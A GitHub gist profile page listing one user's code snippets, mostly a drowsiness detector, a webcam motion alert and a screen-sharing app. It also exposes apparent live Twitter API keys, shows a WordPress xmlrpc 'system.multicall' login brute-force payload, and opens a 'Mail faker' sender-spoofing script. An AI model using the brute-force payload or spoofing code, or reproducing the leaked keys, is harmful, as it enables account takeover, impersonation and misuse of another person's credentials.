Skip to content

Instantly share code, notes, and snippets.

View c0d3x27's full-sized avatar
:octocat:
Working from home

c0d3x27 c0d3x27

:octocat:
Working from home
View GitHub Profile
@c0d3x27
c0d3x27 / keys.py
Created December 2, 2020 18:34
Twitter api
consumer_key ="Dm7vBmrotolUjrt3Ke7Rq6pZH"
consumer_secret ="4bW1tLOsoUzui7kMyfMTsf6o1ADKidjStSbB6J3jyGIA5Qf1mO"
@c0d3x27
c0d3x27 / response.xml
Last active December 10, 2020 20:59
brutte force
POST /xmlrpc.php HTTP/1.1
Host: campo.com
Content-Length: 2430
<?xml version="2.0"?>
<methodCall><methodName>system.multicall</methodName><params><param><value><array><data>
<value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>\{\{Username \}\}</string></value><value><string>\{\{Password \}\}</string></value></data></array></value></data></array></value></member></struct></value>
<value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>\{\{Username \}\}</string></value><value><string>\{\{Password \}\}</string></value></data></array></value></data></array></value></member></struct></value>
@c0d3x27
c0d3x27 / index.php
Last active December 14, 2020 17:36
Mail faker
<?php
session_start();
if ($_POST['Submit'] == 'Send'){
$to = $_POST['toemail'];
$subject = $_POST['subject'];
$message = $_POST['message'];
$fromemail = $_POST['fromemail'];
$fromname = $_POST['fromname'];
$lt= '<';
@c0d3x27
c0d3x27 / drawsiness.py
Created December 13, 2020 22:58
drawsiness detector
from scipy.spatial import distance as dist
from imutils.video import VideoStream
from imutils import face_utils
from threading import Thread
import numpy as np
import playsound
import argparse
import imutils
import time
import dlib
@c0d3x27
c0d3x27 / drawsiness.py
Last active March 28, 2021 14:03
drawsiness.py compleate
from scipy.spatial import distance as dist
from imutils.video import VideoStream
from imutils import face_utils
from threading import Thread
import numpy as np
import playsound
import argparse
import imutils
import time
import dlib
@c0d3x27
c0d3x27 / guard.py
Last active March 28, 2021 13:58
Make Your Pc Notify Your Phone Whenever There is Movement Around it
import cv2
guardcam = cv2.VideoCapture(0)
while guardcam.isOpened():
ret, frame1 = guardcam.read()
ret, frame2 = guardcam.read()
diff = cv2.absdiff(frame1, frame2)
gray = cv2.cvtColor(diff, cv2.COLOR_RGB2GRAY)
blur = cv2.GaussianBlur(gray, (5, 5), 0)
_, thresh = cv2.threshold(blur, 20, 255, cv2.THRESH_BINARY)
@c0d3x27
c0d3x27 / Guard.py
Last active March 28, 2021 13:58
Make Your Pc Notify Your Phone Whenever There is Movement Around it
dilated = cv2.dilate(thresh, None, iterations=3)
@c0d3x27
c0d3x27 / guad.py
Created January 17, 2021 04:12
Make Your Pc Notify Your Phone Whenever There is Movement Around it
import cv2
guardcam = cv2.VideoCapture(0)
while guardcam.isOpened():
ret, frame1 = guardcam.read()
ret, frame2 = guardcam.read()
diff = cv2.absdiff(frame1, frame2)
gray = cv2.cvtColor(diff, cv2.COLOR_RGB2GRAY)
blur = cv2.GaussianBlur(gray, (5, 5), 0)
_, thresh = cv2.threshold(blur, 20, 255, cv2.THRESH_BINARY)
dilated = cv2.dilate(thresh, None, iterations=3)
@c0d3x27
c0d3x27 / Receiver.py
Created February 2, 2021 16:59
screen sharing app
from vidstream import StreamingServer
import threading
receiver = StreamingServer('privateipadress', 'port')
t = threading.Thread(target=receiver.start_server)
t.start()
while input("") != 'q':
continue
from vidstream import ScreenShareClient
import threading
sender = ScreenShareClient('ip', 'port')
t = threading.Thread(target=sender.start_stream)
t.start()
while input("") != 'q':
continue